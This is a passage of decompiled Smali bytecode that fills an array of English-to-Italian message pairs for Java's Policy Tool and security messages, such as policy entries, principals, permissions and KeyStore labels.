                                                                              1845const-string v3, "Elimina policy entry"
                                                                              1846aput-object v3, v2, v5
                                                                              1847aput-object v2, v0, v1
                                                                              1848const/16 v1, 0xcd
                                                                              1849new-array v2, v6, [Ljava/lang/Object;
                                                                              1851const-string v3, "Edit"
                                                                              1852aput-object v3, v2, v4
                                                                              1854const-string v3, "Modifica"
                                                                              1855aput-object v3, v2, v5
                                                                              1856aput-object v2, v0, v1
                                                                              1857const/16 v1, 0xce
                                                                              1858new-array v2, v6, [Ljava/lang/Object;
                                                                              1860const-string v3, "Retain"
                                                                              1861aput-object v3, v2, v4
                                                                              1863const-string v3, "Mantieni"
                                                                              1864aput-object v3, v2, v5
                                                                              1865aput-object v2, v0, v1
                                                                              1866const/16 v1, 0xcf
                                                                              1867new-array v2, v6, [Ljava/lang/Object;
                                                                              1869const-string v3, "Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name."
                                                                              1870aput-object v3, v2, v4
                                                                              1872const-string v3, "Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name."
                                                                              1873aput-object v3, v2, v5
                                                                              1874aput-object v2, v0, v1
                                                                              1875const/16 v1, 0xd0
                                                                              1876new-array v2, v6, [Ljava/lang/Object;
                                                                              1878const-string v3, "Add Public Key Alias"
                                                                              1879aput-object v3, v2, v4
                                                                              1881const-string v3, "Aggiungi alias chiave pubblica"
                                                                              1882aput-object v3, v2, v5
                                                                              1883aput-object v2, v0, v1
                                                                              1884const/16 v1, 0xd1
                                                                              1885new-array v2, v6, [Ljava/lang/Object;
                                                                              1887const-string v3, "Remove Public Key Alias"
                                                                              1888aput-object v3, v2, v4
                                                                              1890const-string v3, "Elimina alias chiave pubblica"
                                                                              1891aput-object v3, v2, v5
                                                                              1892aput-object v2, v0, v1
                                                                              1893const/16 v1, 0xd2
                                                                              1894new-array v2, v6, [Ljava/lang/Object;
                                                                              1896const-string v3, "File"
                                                                              1897aput-object v3, v2, v4
                                                                              1899const-string v3, "File"
                                                                              1900aput-object v3, v2, v5
                                                                              1901aput-object v2, v0, v1
                                                                              1902const/16 v1, 0xd3
                                                                              1903new-array v2, v6, [Ljava/lang/Object;
                                                                              1905const-string v3, "KeyStore"
                                                                              1906aput-object v3, v2, v4
                                                                              1908const-string v3, "KeyStore"
                                                                              1909aput-object v3, v2, v5
                                                                              1910aput-object v2, v0, v1
                                                                              1911const/16 v1, 0xd4
                                                                              1912new-array v2, v6, [Ljava/lang/Object;
                                                                              1914const-string v3, "Policy File:"
                                                                              1915aput-object v3, v2, v4
                                                                              1917const-string v3, "Policy file:"
                                                                              1918aput-object v3, v2, v5
                                                                              1919aput-object v2, v0, v1
                                                                              1920const/16 v1, 0xd5
                                                                              1921new-array v2, v6, [Ljava/lang/Object;
                                                                              1923const-string v3, "Could not open policy file: policyFile: e.toString()"
                                                                              1924aput-object v3, v2, v4
                                                                              1926const-string v3, "Impossibile aprire il file di criteri {0}: {1}"
                                                                              1927aput-object v3, v2, v5
                                                                              1928aput-object v2, v0, v1
                                                                              1929const/16 v1, 0xd6
                                                                              1930new-array v2, v6, [Ljava/lang/Object;
                                                                              1932const-string v3, "Policy Tool"
                                                                              1933aput-object v3, v2, v4
                                                                              1935const-string v3, "Policy Tool"
                                                                              1936aput-object v3, v2, v5
                                                                              1937aput-object v2, v0, v1
                                                                              1938const/16 v1, 0xd7
                                                                              1939new-array v2, v6, [Ljava/lang/Object;
                                                                              1941const-string v3, "Errors have occurred while opening the policy configuration. View the Warning Log for more information."
                                                                              1942aput-object v3, v2, v4
                                                                              1944const-string v3, "Si sono verificati errori durante l\'apertura della configurazione della policy. Consultare il registro degli avvisi per ulteriori informazioni."
                                                                              1945aput-object v3, v2, v5
                                                                              1946aput-object v2, v0, v1
                                                                              1947const/16 v1, 0xd8
                                                                              1948new-array v2, v6, [Ljava/lang/Object;
                                                                              1950const-string v3, "Error"
                                                                              1951aput-object v3, v2, v4
                                                                              1953const-string v3, "Errore"
                                                                              1954aput-object v3, v2, v5
                                                                              1955aput-object v2, v0, v1
                                                                              1956const/16 v1, 0xd9
                                                                              1957new-array v2, v6, [Ljava/lang/Object;
                                                                              1959const-string v3, "OK"
                                                                              1960aput-object v3, v2, v4
                                                                              1962const-string v3, "OK"
                                                                              1963aput-object v3, v2, v5
                                                                              1964aput-object v2, v0, v1
                                                                              1965const/16 v1, 0xda
                                                                              1966new-array v2, v6, [Ljava/lang/Object;
                                                                              1968const-string v3, "Status"
                                                                              1969aput-object v3, v2, v4
                                                                              1971const-string v3, "Stato"
                                                                              1972aput-object v3, v2, v5
                                                                              1973aput-object v2, v0, v1
                                                                              1974const/16 v1, 0xdb
                                                                              1975new-array v2, v6, [Ljava/lang/Object;
                                                                              1977const-string v3, "Warning"
                                                                              1978aput-object v3, v2, v4
                                                                              1980const-string v3, "Avviso"
                                                                              1981aput-object v3, v2, v5
                                                                              1982aput-object v2, v0, v1
                                                                              1983const/16 v1, 0xdc
                                                                              1984new-array v2, v6, [Ljava/lang/Object;
                                                                              1986const-string v3, "Permission: "
                                                                              1987aput-object v3, v2, v4
                                                                              1989const-string v3, "Permesso: "
                                                                              1990aput-object v3, v2, v5
                                                                              1991aput-object v2, v0, v1
                                                                              1992const/16 v1, 0xdd
                                                                              1993new-array v2, v6, [Ljava/lang/Object;
                                                                              1995const-string v3, "Principal Type:"
                                                                              1996aput-object v3, v2, v4
                                                                              1998const-string v3, "Tipo Principal:"
                                                                              1999aput-object v3, v2, v5
                                                                              2000aput-object v2, v0, v1
                                                                              2001const/16 v1, 0xde
                                                                              2002new-array v2, v6, [Ljava/lang/Object;
                                                                              2004const-string v3, "Principal Name:"
                                                                              2005aput-object v3, v2, v4
                                                                              2007const-string v3, "Nome Principal:"
                                                                              2008aput-object v3, v2, v5
                                                                              2009aput-object v2, v0, v1
                                                                              2010const/16 v1, 0xdf
                                                                              2011new-array v2, v6, [Ljava/lang/Object;
                                                                              2013const-string v3, "Target Name: "
                                                                              2014aput-object v3, v2, v4
                                                                              2016const-string v3, "Nome obiettivo: "
                                                                              2017aput-object v3, v2, v5
                                                                              2018aput-object v2, v0, v1
                                                                              2019const/16 v1, 0xe0
                                                                              2020new-array v2, v6, [Ljava/lang/Object;
                                                                              2022const-string v3, "Actions: "
                                                                              2023aput-object v3, v2, v4
                                                                              2025const-string v3, "Azioni: "
                                                                              2026aput-object v3, v2, v5
                                                                              2027aput-object v2, v0, v1
                                                                              2028const/16 v1, 0xe1
                                                                              2029new-array v2, v6, [Ljava/lang/Object;
                                                                              2031const-string v3, "OK to overwrite existing file filename?"
                                                                              2032aput-object v3, v2, v4
                                                                              2034const-string v3, "OK per sovrascrivere il file {0}?"
                                                                              2035aput-object v3, v2, v5
                                                                              2036aput-object v2, v0, v1
                                                                              2037const/16 v1, 0xe2
                                                                              2038new-array v2, v6, [Ljava/lang/Object;
                                                                              2040const-string v3, "Cancel"
                                                                              2041aput-object v3, v2, v4
                                                                              2043const-string v3, "Annulla"
                                                                              2044aput-object v3, v2, v5
                                                                              2045aput-object v2, v0, v1
                                                                              2046const/16 v1, 0xe3
                                                                              2047new-array v2, v6, [Ljava/lang/Object;
                                                                              2049const-string v3, "CodeBase:"
                                                                              2050aput-object v3, v2, v4
                                                                              2052const-string v3, "CodeBase:"
                                                                              2053aput-object v3, v2, v5
                                                                              2054aput-object v2, v0, v1
                                                                              2055const/16 v1, 0xe4
                                                                              2056new-array v2, v6, [Ljava/lang/Object;
                                                                              2058const-string v3, "SignedBy:"
                                                                              2059aput-object v3, v2, v4
                                                                              2061const-string v3, "SignedBy:"
                                                                              2062aput-object v3, v2, v5
                                                                              2063aput-object v2, v0, v1
                                                                              2064const/16 v1, 0xe5
                                                                              2065new-array v2, v6, [Ljava/lang/Object;
                                                                              2067const-string v3, "Add Principal"
                                                                              2068aput-object v3, v2, v4
                                                                              2070const-string v3, "Aggiungi Principal"
                                                                              2071aput-object v3, v2, v5
                                                                              2072aput-object v2, v0, v1
                                                                              2073const/16 v1, 0xe6
                                                                              2074new-array v2, v6, [Ljava/lang/Object;
                                                                              2076const-string v3, "Edit Principal"
                                                                              2077aput-object v3, v2, v4
                                                                              2079const-string v3, "Modifica Principal"
                                                                              2080aput-object v3, v2, v5
                                                                              2081aput-object v2, v0, v1
                                                                              2082const/16 v1, 0xe7
                                                                              2083new-array v2, v6, [Ljava/lang/Object;
                                                                              2085const-string v3, "Remove Principal"
                                                                              2086aput-object v3, v2, v4
                                                                              2088const-string v3, "Elimina Principal"
                                                                              2089aput-object v3, v2, v5
                                                                              2090aput-object v2, v0, v1
                                                                              2091const/16 v1, 0xe8
                                                                              2092new-array v2, v6, [Ljava/lang/Object;
                                                                              2094const-string v3, "Principals:"
                                                                              2095aput-object v3, v2, v4
                                                                              2097const-string v3, "Principal:"
                                                                              2098aput-object v3, v2, v5
                                                                              2099aput-object v2, v0, v1
                                                                              2100const/16 v1, 0xe9
                                                                              2101new-array v2, v6, [Ljava/lang/Object;
                                                                              2103const-string v3, " Add Permission"
                                                                              2104aput-object v3, v2, v4
                                                                              2106const-string v3, " Aggiungi permesso"
                                                                              2107aput-object v3, v2, v5
                                                                              2108aput-object v2, v0, v1
                                                                              2109const/16 v1, 0xea
                                                                              2110new-array v2, v6, [Ljava/lang/Object;
                                                                              2112const-string v3, " Edit Permission"
                                                                              2113aput-object v3, v2, v4
                                                                              2115const-string v3, " Modifica permesso"
                                                                              2116aput-object v3, v2, v5
                                                                              2117aput-object v2, v0, v1
                                                                              2118const/16 v1, 0xeb
                                                                              2119new-array v2, v6, [Ljava/lang/Object;
                                                                              2121const-string v3, "Remove Permission"
                                                                              2122aput-object v3, v2, v4
                                                                              2124const-string v3, "Elimina permesso"
                                                                              2125aput-object v3, v2, v5
                                                                              2126aput-object v2, v0, v1
                                                                              2127const/16 v1, 0xec
                                                                              2128new-array v2, v6, [Ljava/lang/Object;
                                                                              2130const-string v3, "Done"
                                                                              2131aput-object v3, v2, v4
                                                                              2133const-string v3, "Fine"
                                                                              2134aput-object v3, v2, v5
                                                                              2135aput-object v2, v0, v1
                                                                              2136const/16 v1, 0xed
                                                                              2137new-array v2, v6, [Ljava/lang/Object;
                                                                              2139const-string v3, "KeyStore URL:"
                                                                              2140aput-object v3, v2, v4
                                                                              2142const-string v3, "URL KeyStore:"
                                                                              2143aput-object v3, v2, v5
                                                                              2144aput-object v2, v0, v1
                                                                              2145const/16 v1, 0xee
                                                                              2146new-array v2, v6, [Ljava/lang/Object;
                                                                              2148const-string v3, "KeyStore Type:"
                                                                              2149aput-object v3, v2, v4
                                                                              2151const-string v3, "Tipo KeyStore:"
                                                                              2152aput-object v3, v2, v5
                                                                              2153aput-object v2, v0, v1
                                                                              2154const/16 v1, 0xef
                                                                              2155new-array v2, v6, [Ljava/lang/Object;
                                                                              2157const-string v3, "KeyStore Provider:"
                                                                              2158aput-object v3, v2, v4
                                                                              2160const-string v3, "Fornitore KeyStore:"
                                                                              2161aput-object v3, v2, v5
                                                                              2162aput-object v2, v0, v1
                                                                              2163const/16 v1, 0xf0
                                                                              2164new-array v2, v6, [Ljava/lang/Object;
                                                                              2166const-string v3, "KeyStore Password URL:"
                                                                              2167aput-object v3, v2, v4
                                                                              2169const-string v3, "URL password KeyStore:"
                                                                              2170aput-object v3, v2, v5
                                                                              2171aput-object v2, v0, v1
                                                                              2172const/16 v1, 0xf1
                                                                              2173new-array v2, v6, [Ljava/lang/Object;
                                                                              2175const-string v3, "Principals"
                                                                              2176aput-object v3, v2, v4
                                                                              2178const-string v3, "Principal:"
                                                                              2179aput-object v3, v2, v5
                                                                              2180aput-object v2, v0, v1
                                                                              2181const/16 v1, 0xf2
                                                                              2182new-array v2, v6, [Ljava/lang/Object;
                                                                              2184const-string v3, " Edit Principal:"
                                                                              2185aput-object v3, v2, v4
                                                                              2187const-string v3, " Modifica Principal:"
                                                                              2188aput-object v3, v2, v5
                                                                              2189aput-object v2, v0, v1
                                                                              2190const/16 v1, 0xf3
                                                                              2191new-array v2, v6, [Ljava/lang/Object;
                                                                              2193const-string v3, " Add New Principal:"
                                                                              2194aput-object v3, v2, v4
                                                                              2196const-string v3, " Aggiungi nuova Principal:"
                                                                              2197aput-object v3, v2, v5
                                                                              2198aput-object v2, v0, v1
                                                                              2199const/16 v1, 0xf4
                                                                              2200new-array v2, v6, [Ljava/lang/Object;
                                                                              2202const-string v3, "Permissions"
                                                                              2203aput-object v3, v2, v4
                                                                              2205const-string v3, "Permessi"
                                                                              2206aput-object v3, v2, v5
                                                                              2207aput-object v2, v0, v1
                                                                              2208const/16 v1, 0xf5
                                                                              2209new-array v2, v6, [Ljava/lang/Object;
                                                                              2211const-string v3, " Edit Permission:"
                                                                              2212aput-object v3, v2, v4
                                                                              2214const-string v3, " Modifica permesso:"
                                                                              2215aput-object v3, v2, v5
                                                                              2216aput-object v2, v0, v1
                                                                              2217const/16 v1, 0xf6
                                                                              2218new-array v2, v6, [Ljava/lang/Object;
                                                                              2220const-string v3, " Add New Permission:"
                                                                              2221aput-object v3, v2, v4
                                                                              2223const-string v3, " Aggiungi nuovo permesso:"
                                                                              2224aput-object v3, v2, v5
                                                                              2225aput-object v2, v0, v1
                                                                              2226const/16 v1, 0xf7
                                                                              2227new-array v2, v6, [Ljava/lang/Object;
                                                                              2229const-string v3, "Signed By:"
                                                                              2230aput-object v3, v2, v4
                                                                              2232const-string v3, "Firmato da:"
                                                                              2233aput-object v3, v2, v5
                                                                              2234aput-object v2, v0, v1
                                                                              2235const/16 v1, 0xf8
                                                                              2236new-array v2, v6, [Ljava/lang/Object;
                                                                              2238const-string v3, "Cannot Specify Principal with a Wildcard Class without a Wildcard Name"
                                                                              2239aput-object v3, v2, v4
                                                                              2241const-string v3, "Impossibile specificare Principal con una classe wildcard senza un nome wildcard"
                                                                              2242aput-object v3, v2, v5
                                                                              2243aput-object v2, v0, v1
                                                                              2244const/16 v1, 0xf9
                                                                              2245new-array v2, v6, [Ljava/lang/Object;
                                                                              2247const-string v3, "Cannot Specify Principal without a Name"
                                                                              2248aput-object v3, v2, v4
                                                                              2250const-string v3, "Impossibile specificare Principal senza un nome"
                                                                              2251aput-object v3, v2, v5
                                                                              2252aput-object v2, v0, v1
                                                                              2253const/16 v1, 0xfa
                                                                              2254new-array v2, v6, [Ljava/lang/Object;
                                                                              2256const-string v3, "Permission and Target Name must have a value"
                                                                              2257aput-object v3, v2, v4
                                                                              2259const-string v3, "Il permesso e il nome di obiettivo non possono essere nulli"
                                                                              2260aput-object v3, v2, v5
                                                                              2261aput-object v2, v0, v1
                                                                              2262const/16 v1, 0xfb
                                                                              2263new-array v2, v6, [Ljava/lang/Object;
                                                                              2265const-string v3, "Remove this Policy Entry?"
                                                                              2266aput-object v3, v2, v4
                                                                              2268const-string v3, "Eliminare questa policy entry?"
                                                                              2269aput-object v3, v2, v5
                                                                              2270aput-object v2, v0, v1
                                                                              2271const/16 v1, 0xfc
                                                                              2272new-array v2, v6, [Ljava/lang/Object;
                                                                              2274const-string v3, "Overwrite File"
                                                                              2275aput-object v3, v2, v4
                                                                              2277const-string v3, "Sovrascrivi file"
                                                                              2278aput-object v3, v2, v5
                                                                              2279aput-object v2, v0, v1
                                                                              2280const/16 v1, 0xfd
                                                                              2281new-array v2, v6, [Ljava/lang/Object;
                                                                              2283const-string v3, "Policy successfully written to filename"
                                                                              2284aput-object v3, v2, v4
                                                                              2286const-string v3, "La policy \u00e8 stata scritta correttamente in {0}"
                                                                              2287aput-object v3, v2, v5
                                                                              2288aput-object v2, v0, v1
                                                                              2289const/16 v1, 0xfe
                                                                              2290new-array v2, v6, [Ljava/lang/Object;
                                                                              2292const-string v3, "null filename"
                                                                              2293aput-object v3, v2, v4
                                                                              2295const-string v3, "nome file nullo"
                                                                              2296aput-object v3, v2, v5
                                                                              2297aput-object v2, v0, v1
                                                                              2298const/16 v1, 0xff
                                                                              2299new-array v2, v6, [Ljava/lang/Object;
                                                                              2301const-string v3, "Save changes?"
                                                                              2302aput-object v3, v2, v4
                                                                              2304const-string v3, "Salvare le modifiche?"
                                                                              2305aput-object v3, v2, v5
                                                                              2306aput-object v2, v0, v1
                                                                              2307const/16 v1, 0x100
                                                                              2308new-array v2, v6, [Ljava/lang/Object;
                                                                              2310const-string v3, "Yes"
                                                                              2311aput-object v3, v2, v4
                                                                              2313const-string v3, "S\u00ec"
                                                                              2314aput-object v3, v2, v5
                                                                              2315aput-object v2, v0, v1
                                                                              2316const/16 v1, 0x101
                                                                              2317new-array v2, v6, [Ljava/lang/Object;
                                                                              2319const-string v3, "No"
                                                                              2320aput-object v3, v2, v4
                                                                              2322const-string v3, "No"
                                                                              2323aput-object v3, v2, v5
                                                                              2324aput-object v2, v0, v1
                                                                              2325const/16 v1, 0x102
                                                                              2326new-array v2, v6, [Ljava/lang/Object;
                                                                              2328const-string v3, "Policy Entry"
                                                                              2329aput-object v3, v2, v4
                                                                              2331const-string v3, "Policy entry"
                                                                              2332aput-object v3, v2, v5
                                                                              2333aput-object v2, v0, v1
                                                                              2334const/16 v1, 0x103
                                                                              2335new-array v2, v6, [Ljava/lang/Object;
                                                                              2337const-string v3, "Save Changes"
                                                                              2338aput-object v3, v2, v4
                                                                              2340const-string v3, "Salva le modifiche"
                                                                              2341aput-object v3, v2, v5
                                                                              2342aput-object v2, v0, v1
                                                                              2343const/16 v1, 0x104
                                                                              2344new-array v2, v6, [Ljava/lang/Object;
                                                                              2346const-string v3, "No Policy Entry selected"
                                                                              2347aput-object v3, v2, v4
                                                                              2349const-string v3, "Nessuna policy entry selezionata"
                                                                              2350aput-object v3, v2, v5
                                                                              2351aput-object v2, v0, v1
                                                                              2352const/16 v1, 0x105
                                                                              2353new-array v2, v6, [Ljava/lang/Object;
                                                                              2355const-string v3, "Unable to open KeyStore: ex.toString()"
                                                                              2356aput-object v3, v2, v4
                                                                              2358const-string v3, "Impossibile aprire il KeyStore: {0}"
                                                                              2359aput-object v3, v2, v5
                                                                              2360aput-object v2, v0, v1
                                                                              2361const/16 v1, 0x106
                                                                              2362new-array v2, v6, [Ljava/lang/Object;
                                                                              2364const-string v3, "No principal selected"
                                                                              2365aput-object v3, v2, v4
                                                                              2367const-string v3, "Nessuna Principal selezionata"
                                                                              2368aput-object v3, v2, v5
                                                                              2369aput-object v2, v0, v1
                                                                              2370const/16 v1, 0x107
                                                                              2371new-array v2, v6, [Ljava/lang/Object;
                                                                              2373const-string v3, "No permission selected"
                                                                              2374aput-object v3, v2, v4
                                                                              2376const-string v3, "Nessun permesso selezionato"
                                                                              2377aput-object v3, v2, v5
                                                                              2378aput-object v2, v0, v1
                                                                              2379const/16 v1, 0x108
                                                                              2380new-array v2, v6, [Ljava/lang/Object;
                                                                              2382const-string v3, "name"
                                                                              2383aput-object v3, v2, v4
                                                                              2385const-string v3, "nome"
                                                                              2386aput-object v3, v2, v5
                                                                              2387aput-object v2, v0, v1
                                                                              2388const/16 v1, 0x109
                                                                              2389new-array v2, v6, [Ljava/lang/Object;
                                                                              2391const-string v3, "configuration type"
                                                                              2392aput-object v3, v2, v4
                                                                              2394const-string v3, "tipo di configurazione"
                                                                              2395aput-object v3, v2, v5
                                                                              2396aput-object v2, v0, v1
                                                                              2397const/16 v1, 0x10a
                                                                              2398new-array v2, v6, [Ljava/lang/Object;
                                                                              2400const-string v3, "environment variable name"
                                                                              2401aput-object v3, v2, v4
                                                                              2403const-string v3, "nome variabile ambiente"
                                                                              2404aput-object v3, v2, v5
                                                                              2405aput-object v2, v0, v1
                                                                              2406const/16 v1, 0x10b
                                                                              2407new-array v2, v6, [Ljava/lang/Object;
                                                                              2409const-string v3, "library name"
                                                                              2410aput-object v3, v2, v4
                                                                              2412const-string v3, "nome libreria"
                                                                              2413aput-object v3, v2, v5
                                                                              2414aput-object v2, v0, v1
                                                                              2415const/16 v1, 0x10c
                                                                              2416new-array v2, v6, [Ljava/lang/Object;
                                                                              2418const-string v3, "package name"
                                                                              2419aput-object v3, v2, v4
                                                                              2421const-string v3, "nome package"
                                                                              2422aput-object v3, v2, v5
                                                                              2423aput-object v2, v0, v1
                                                                              2424const/16 v1, 0x10d
                                                                              2425new-array v2, v6, [Ljava/lang/Object;
                                                                              2427const-string v3, "policy type"
                                                                              2428aput-object v3, v2, v4
                                                                              2430const-string v3, "tipo di criteri"
                                                                              2431aput-object v3, v2, v5
                                                                              2432aput-object v2, v0, v1
                                                                              2433const/16 v1, 0x10e
                                                                              2434new-array v2, v6, [Ljava/lang/Object;
                                                                              2436const-string v3, "property name"
                                                                              2437aput-object v3, v2, v4
                                                                              2439const-string v3, "nome propriet\u00e0"
                                                                              2440aput-object v3, v2, v5
                                                                              2441aput-object v2, v0, v1
                                                                              2442const/16 v1, 0x10f
                                                                              2443new-array v2, v6, [Ljava/lang/Object;
                                                                              2445const-string v3, "provider name"
                                                                              2446aput-object v3, v2, v4
                                                                              2448const-string v3, "nome provider"
                                                                              2449aput-object v3, v2, v5
                                                                              2450aput-object v2, v0, v1
                                                                              2451const/16 v1, 0x110
                                                                              2452new-array v2, v6, [Ljava/lang/Object;
                                                                              2454const-string v3, "Principal List"
                                                                              2455aput-object v3, v2, v4
                                                                              2457const-string v3, "Elenco principale"
                                                                              2458aput-object v3, v2, v5
                                                                              2459aput-object v2, v0, v1
                                                                              2460const/16 v1, 0x111
                                                                              2461new-array v2, v6, [Ljava/lang/Object;
                                                                              2463const-string v3, "Permission List"
                                                                              2464aput-object v3, v2, v4
                                                                              2466const-string v3, "Elenco autorizzazioni"
                                                                              2467aput-object v3, v2, v5
                                                                              2468aput-object v2, v0, v1
                                                                              2469const/16 v1, 0x112
                                                                              2470new-array v2, v6, [Ljava/lang/Object;
                                                                              2472const-string v3, "Code Base"
                                                                              2473aput-object v3, v2, v4
                                                                              2475const-string v3, "Codebase"
                                                                              2476aput-object v3, v2, v5
                                                                              2477aput-object v2, v0, v1
                                                                              2478const/16 v1, 0x113
                                                                              2479new-array v2, v6, [Ljava/lang/Object;
                                                                              2481const-string v3, "KeyStore U R L:"
                                                                              2482aput-object v3, v2, v4
                                                                              2484const-string v3, "URL KeyStore:"
                                                                              2485aput-object v3, v2, v5
                                                                              2486aput-object v2, v0, v1
                                                                              2487const/16 v1, 0x114
                                                                              2488new-array v2, v6, [Ljava/lang/Object;
                                                                              2490const-string v3, "KeyStore Password U R L:"
                                                                              2491aput-object v3, v2, v4
                                                                              2493const-string v3, "URL password KeyStore:"
                                                                              2494aput-object v3, v2, v5
                                                                              2495aput-object v2, v0, v1
                                                                              2496const/16 v1, 0x115
                                                                              2497new-array v2, v6, [Ljava/lang/Object;
                                                                              2499const-string v3, "invalid null input(s)"
                                                                              2500aput-object v3, v2, v4
                                                                              2502const-string v3, "input nullo/i non valido/i"
                                                                              2503aput-object v3, v2, v5
                                                                              2504aput-object v2, v0, v1
                                                                              2505const/16 v1, 0x116
                                                                              2506new-array v2, v6, [Ljava/lang/Object;
                                                                              2508const-string v3, "actions can only be \'read\'"
                                                                              2509aput-object v3, v2, v4
                                                                              2511const-string v3, "le azioni possono essere solamente \'lette\'"
                                                                              2512aput-object v3, v2, v5
                                                                              2513aput-object v2, v0, v1
                                                                              2514const/16 v1, 0x117
                                                                              2515new-array v2, v6, [Ljava/lang/Object;
                                                                              2517const-string v3, "permission name [name] syntax invalid: "
                                                                              2518aput-object v3, v2, v4
                                                                              2520const-string v3, "sintassi non valida per il nome di permesso [{0}]: "
                                                                              2521aput-object v3, v2, v5
                                                                              2522aput-object v2, v0, v1
                                                                              2523const/16 v1, 0x118
                                                                              2524new-array v2, v6, [Ljava/lang/Object;
                                                                              2526const-string v3, "Credential Class not followed by a Principal Class and Name"
                                                                              2527aput-object v3, v2, v4
                                                                              2529const-string v3, "la classe Credential non \u00e8 seguita da un nome e una classe Principal"
                                                                              2530aput-object v3, v2, v5
                                                                              2531aput-object v2, v0, v1
                                                                              2532const/16 v1, 0x119
                                                                              2533new-array v2, v6, [Ljava/lang/Object;
                                                                              2535const-string v3, "Principal Class not followed by a Principal Name"
                                                                              2536aput-object v3, v2, v4
                                                                              2538const-string v3, "la classe Principal non \u00e8 seguita da un nome Principal"
                                                                              2539aput-object v3, v2, v5
                                                                              2540aput-object v2, v0, v1
                                                                              2541const/16 v1, 0x11a
                                                                              2542new-array v2, v6, [Ljava/lang/Object;
                                                                              2544const-string v3, "Principal Name must be surrounded by quotes"
                                                                              2545aput-object v3, v2, v4
                                                                              2547const-string v3, "il nome Principal deve essere compreso tra virgolette"
                                                                              2548aput-object v3, v2, v5
                                                                              2549aput-object v2, v0, v1
                                                                              2550const/16 v1, 0x11b
                                                                              2551new-array v2, v6, [Ljava/lang/Object;
                                                                              2553const-string v3, "Principal Name missing end quote"
                                                                              2554aput-object v3, v2, v4
                                                                              2556const-string v3, "virgolette di chiusura del nome Principal mancanti"
                                                                              2557aput-object v3, v2, v5
                                                                              2558aput-object v2, v0, v1
                                                                              2559const/16 v1, 0x11c
                                                                              2560new-array v2, v6, [Ljava/lang/Object;
                                                                              2562const-string v3, "PrivateCredentialPermission Principal Class can not be a wildcard (*) value if Principal Name is not a wildcard (*) value"
                                                                              2563aput-object v3, v2, v4
                                                                              2565const-string v3, "la classe Principal PrivateCredentialPermission non pu\u00f2 essere un valore wildcard (*) se il nome Principal a sua volta non \u00e8 un valore wildcard (*)"
                                                                              2566aput-object v3, v2, v5
                                                                              2567aput-object v2, v0, v1
                                                                              2568const/16 v1, 0x11d
                                                                              2569new-array v2, v6, [Ljava/lang/Object;
                                                                              2571const-string v3, "CredOwner:\n\tPrincipal Class = class\n\tPrincipal Name = name"
                                                                              2572aput-object v3, v2, v4
                                                                              2574const-string v3, "ProprCred:\n\tclasse Principal = {0}\n\tNome Principal = {1}"
                                                                              2575aput-object v3, v2, v5
                                                                              2576aput-object v2, v0, v1
                                                                              2577const/16 v1, 0x11e
                                                                              2578new-array v2, v6, [Ljava/lang/Object;
                                                                              2580const-string v3, "provided null name"
                                                                              2581aput-object v3, v2, v4
                                                                              2583const-string v3, "il nome fornito \u00e8 nullo"
                                                                              2584aput-object v3, v2, v5
                                                                              2585aput-object v2, v0, v1
                                                                              2586const/16 v1, 0x11f
                                                                              2587new-array v2, v6, [Ljava/lang/Object;
                                                                              2589const-string v3, "provided null keyword map"
                                                                              2590aput-object v3, v2, v4
                                                                              2592const-string v3, "specificata mappa parole chiave null"
                                                                              2593aput-object v3, v2, v5
                                                                              2594aput-object v2, v0, v1
                                                                              2595const/16 v1, 0x120
                                                                              2596new-array v2, v6, [Ljava/lang/Object;
                                                                              2598const-string v3, "provided null OID map"
                                                                              2599aput-object v3, v2, v4
                                                                              2601const-string v3, "specificata mappa OID null"
                                                                              2602aput-object v3, v2, v5
                                                                              2603aput-object v2, v0, v1
                                                                              2604const/16 v1, 0x121
                                                                              2605new-array v2, v6, [Ljava/lang/Object;
                                                                              2607const-string v3, "invalid null AccessControlContext provided"
                                                                              2608aput-object v3, v2, v4
                                                                              2610const-string v3, "fornito un valore nullo non valido per AccessControlContext"
                                                                              2611aput-object v3, v2, v5
                                                                              2612aput-object v2, v0, v1
                                                                              2613const/16 v1, 0x122
                                                                              2614new-array v2, v6, [Ljava/lang/Object;
                                                                              2616const-string v3, "invalid null action provided"
                                                                              2617aput-object v3, v2, v4
                                                                              2619const-string v3, "fornita un\'azione nulla non valida"
                                                                              2620aput-object v3, v2, v5
                                                                              2621aput-object v2, v0, v1
                                                                              2622const/16 v1, 0x123
                                                                              2623new-array v2, v6, [Ljava/lang/Object;
                                                                              2625const-string v3, "invalid null Class provided"
                                                                              2626aput-object v3, v2, v4
                                                                              2628const-string v3, "fornita una classe nulla non valida"
                                                                              2629aput-object v3, v2, v5
                                                                              2630aput-object v2, v0, v1
                                                                              2631const/16 v1, 0x124
                                                                              2632new-array v2, v6, [Ljava/lang/Object;
                                                                              2634const-string v3, "Subject:\n"
                                                                              2635aput-object v3, v2, v4
                                                                              2637const-string v3, "Subject:\n"
                                                                              2638aput-object v3, v2, v5
                                                                              2639aput-object v2, v0, v1
                                                                              2640const/16 v1, 0x125
                                                                              2641new-array v2, v6, [Ljava/lang/Object;
                                                                              2643const-string v3, "\tPrincipal: "
                                                                              2644aput-object v3, v2, v4
                                                                              2646const-string v3, "\tPrincipal: "
                                                                              2647aput-object v3, v2, v5
                                                                              2648aput-object v2, v0, v1
                                                                              2649const/16 v1, 0x126
                                                                              2650new-array v2, v6, [Ljava/lang/Object;
                                                                              2652const-string v3, "\tPublic Credential: "
                                                                              2653aput-object v3, v2, v4
                                                                              2655const-string v3, "\tCredenziale pubblica: "
                                                                              2656aput-object v3, v2, v5
                                                                              2657aput-object v2, v0, v1
                                                                              2658const/16 v1, 0x127
                                                                              2659new-array v2, v6, [Ljava/lang/Object;
                                                                              2661const-string v3, "\tPrivate Credentials inaccessible\n"
                                                                              2662aput-object v3, v2, v4
                                                                              2664const-string v3, "\tImpossibile accedere alle credenziali private\n"
                                                                              2665aput-object v3, v2, v5
                                                                              2666aput-object v2, v0, v1
                                                                              2667const/16 v1, 0x128
                                                                              2668new-array v2, v6, [Ljava/lang/Object;
                                                                              2670const-string v3, "\tPrivate Credential: "
                                                                              2671aput-object v3, v2, v4
                                                                              2673const-string v3, "\tCredenziale privata: "
                                                                              2674aput-object v3, v2, v5
                                                                              2675aput-object v2, v0, v1
                                                                              2676const/16 v1, 0x129
                                                                              2677new-array v2, v6, [Ljava/lang/Object;
                                                                              2679const-string v3, "\tPrivate Credential inaccessible\n"
